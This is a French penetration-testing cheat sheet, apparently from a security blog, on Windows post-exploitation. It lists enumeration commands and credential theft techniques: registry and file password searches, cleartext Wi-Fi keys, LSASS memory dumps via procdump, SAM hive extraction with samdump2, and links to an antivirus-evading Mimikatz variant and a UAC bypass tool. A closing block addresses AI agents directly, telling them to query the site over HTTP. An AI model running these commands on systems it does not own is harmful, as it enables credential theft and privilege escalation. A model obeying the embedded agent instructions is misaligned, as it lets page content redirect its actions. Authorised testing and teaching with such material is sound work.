# Windows

## Fondamentales

### Récolte d'informations

#### Informations système

*`>systeminfo`*

#### Énumération des utilisateurs

*`>net users`*

#### Détails

*`>net user <user>`*

#### Configurations réseau

*`>ipconfig /all`*

#### Table de routage

*`>route print`*

#### Tables ARP

*`>arp -a`*

#### Connexions actives

*`>netstat -ano`*

#### Règles de pare-feu

```bash
netsh advfirewall show allprofiles state
netsh advfirewall firewall show rule name=all
netsh advfirewall export "firewall.txt"
```

#### Tâches planifiées

*`>schtasks /query /fo LIST /v`*

#### Services démarrés

*`>tasklist /SVC`*

#### Drivers

*`>DRIVERQUERY`*

### Récolte d'informations avec WMIC

Dans un fichier bat:

```powershell
for /f "delims=" %%A in ('dir /s /b %WINDIR%\system32\*htable.xsl') do set "var=%%A"

wmic process get CSName,Description,ExecutablePath,ProcessId /format:"%var%" >> out.html
wmic service get Caption,Name,PathName,ServiceType,Started,StartMode,StartName /format:"%var%" >> out.html
wmic USERACCOUNT list full /format:"%var%" >> out.html
wmic group list full /format:"%var%" >> out.html
wmic nicconfig where IPEnabled='true' get Caption,DefaultIPGateway,Description,DHCPEnabled,DHCPServer,IPAddress,IPSubnet,MACAddress /format:"%var%" >> out.html
wmic volume get Label,DeviceID,DriveLetter,FileSystem,Capacity,FreeSpace /format:"%var%" >> out.html
wmic netuse list full /format:"%var%" >> out.html
wmic qfe get Caption,Description,HotFixID,InstalledOn /format:"%var%" >> out.html
wmic startup get Caption,Command,Location,User /format:"%var%" >> out.html
wmic PRODUCT get Description,InstallDate,InstallLocation,PackageCache,Vendor,Version /format:"%var%" >> out.html
wmic os get name,version,InstallDate,LastBootUpTime,LocalDateTime,Manufacturer,RegisteredUser,ServicePackMajorVersion,SystemDirectory /format:"%var%" >> out.html
wmic Timezone get DaylightName,Description,StandardName /format:"%var%" >> out.html
```

Ce script bat va avoir pour effet de relever toutes les informations intéressantes accessibles avec wmic et de les mettre au propre dans un fichier html en output.

#### Recherche de contenu sensible par mots clés

*`>dir /s *pass* == *cred* == *.config* == *.xml*`* etc.

On peut utiliser n'importe quelle mot clé.

On peut utiliser aussi:

*`>findstr /si password *.xml *.ini *.txt`* etc.

Fichiers de configuration XAMP, Apache ou PHP ?

*`>dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.ncnf`*

## Informations stockées

Il est possible de retrouver les noms d'utilisateur et mots de passe stockés dans la machine simplement en utilisant la commande:

*`>rundll32 keymgr.dll, KRShowKeyMgr`*

*`>cmdkey /list`*

*`>dir C:\Users\<username>\AppData\Local\Microsoft\Credentials\`*

*`>dir C:\Users\<username>\AppData\Roaming\Microsoft\Credentials\`*

Mots de passes dans les registres:

*`>reg query HKCU /f password /t REG_SZ /s`*

*`>reg query HKLM /f password /t REG_SZ /s`*

```bash
# VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"

# Windows autologin
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"

# SNMP Paramters
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"

# Putty
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"
```

### Wifi

```powershell
#Lister les réseaux wifi sauvegardés
> netsh wlan show profile

#Récupérer le mot de passe d'un wifi en clair
> netsh wlan show profile <SSID> key=clear
```

### Event log 4624

Cet événement est journalisé pour tout succès d’ouverture de session.

Il peut vous permettre de savoir quel utilisateur s'est connecté à la machine à quel moment, depuis quel domaine etc.

### Event log 4625

Cet événement est journalisé pour tout échec d’ouverture de session.

Il est généré sur l’ordinateur sur lequel une tentative d’ouverture de session a été effectuée, par exemple, si une tentative d’ouverture de session a été effectuée sur la station de travail de l’utilisateur, l’événement est alors enregistré sur cette station de travail.

Cet événement est généré sur les contrôleurs de domaine, les serveurs membres et les stations de travail.

Il arrive parfois qu'un utilisateur écrive par erreur son mot de passe à la place de son nom d'utilisateur lors de sa connexion, lorsque cela arrive son mot de passe est alors enregistré à l'emplacement du nom d'utilisateur à l'ID 4625 accessible avec Windows Event Viewer (Observateur d'événements).

Pour cela, cherchez dans Windows **Observateur d'événement** puis sélectionnez "**journaux Windows**" > "**Sécurité**" > "**Filtrer le journal actuel...**", remplacez **\<Tous les ID d'événement>** par "**4625**" et validez.

<figure><img src="/files/2kJniz402slvLrGDCgeo" alt=""><figcaption></figcaption></figure>

### Dump lsass

#### via Procdump

Procdump est un executable de sysinternals capable de dumper des processus.

Afin de dumper le processus LSASS, on utilise la commande suivante.

```
> procdump -ma lsass.exe lsass.dmp
```

ressource: <https://learn.microsoft.com/en-us/sysinternals/downloads/procdump>

#### Via dump de la RAM

Si le dump de processus est bloqué, on peut essayer de passer par un dump de la RAM. Cela peut être fait avec l'outil de forensique gratuit MAGNET RAM capture.

ressource: <https://www.magnetforensics.com/fr/resources/magnet-ram-capture/>

Une fois le dump de la RAM effectué, on peut alors récupérer les informations avec [Volatility](/computer-forensic/memoire-volatile.md) à l'aide de la commande suivante:

```
$ vol -f memdump.raw windows.cachedump.Cachedump
```

### Dump SAM

#### Extraction des fichiers

<pre><code><strong>> reg save hklm\sam c:\sam
</strong>> reg save hklm\system c:\system
</code></pre>

#### Dump de la base SAM avec Samdump2

Samdump2 est un outil natif dans kali linux permettant de dumper une base SAM locale à l'aide des fichiers "sam" et "system".

<pre class="language-bash"><code class="lang-bash"><strong>$ samdump2 system sam
</strong></code></pre>

## Eviltree

Eviltree est un remake python3 de la commande classique "tree" avec la fonctionnalité supplémentaire de rechercher des mots-clés/regex fournis par l'utilisateur dans les fichiers, en mettant en évidence ceux qui contiennent des correspondances.

Exemples d'utilisation:

*`$ python3 eviltree.py -r path/to/repo -k passwd,admin,login,user -v`*

*`$ python3 eviltree.py -r path/to/repo -x "<regex>" -v`*

ressource: <https://github.com/t3l3machus/eviltree>

### LaZagne

LaZagne est un outil permettant de rechercher les mots de passes stockés localement dans une machine Windows.

ressource: <https://github.com/AlessandroZ/LaZagne>

### RecALL

RecAll est un équivalent polonais de LaZagne possédant une interface graphique.

ressource: <https://keit.co/p/recall/>

### GPO

```powershell
>set

#Regarder les lignes
LOGONSERVER=\\<server>
USERDNSDOMAIN=<domaine>

#Trouver des IPs
nslookup <domain>

#Utiliser une IP pour monter le partage
>net use z: \\<IP>\sysvol
#Entrer dans l'emplacement z:

#Chercher les fichiers groups.xml
>dir Groups.xml /s
```

### MimikatzFUD

MimikatzFUD est un équivalent de mimikatz passant (pour le moment) sous les radars des antivirus.

ressource: <https://github.com/HernanRodriguez1/MimikatzFUD>

### Pypykatz

Pypykatz est une implémentation de mimikatz en pure python

ressource: <https://github.com/skelsec/pypykatz>

### WinPEAS

WinPEAS est l'equivalent de LinPEAS sur les OS Windows

Ressource: <https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS>

### HardeningKitty

HardenigKitty est un outil d'audit dédié au hardening des machines Windows.

ressource: <https://github.com/scipag/HardeningKitty>

## UACME

UACME est un outil permettant de bypass le contrôle de compte utilisateur

ressource: <https://github.com/hfiref0x/UACME>

### Ressource

<https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://blog.s1rn3tz.ovh/post-exploitation/enumeration-elevation-de-privileges/windows.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
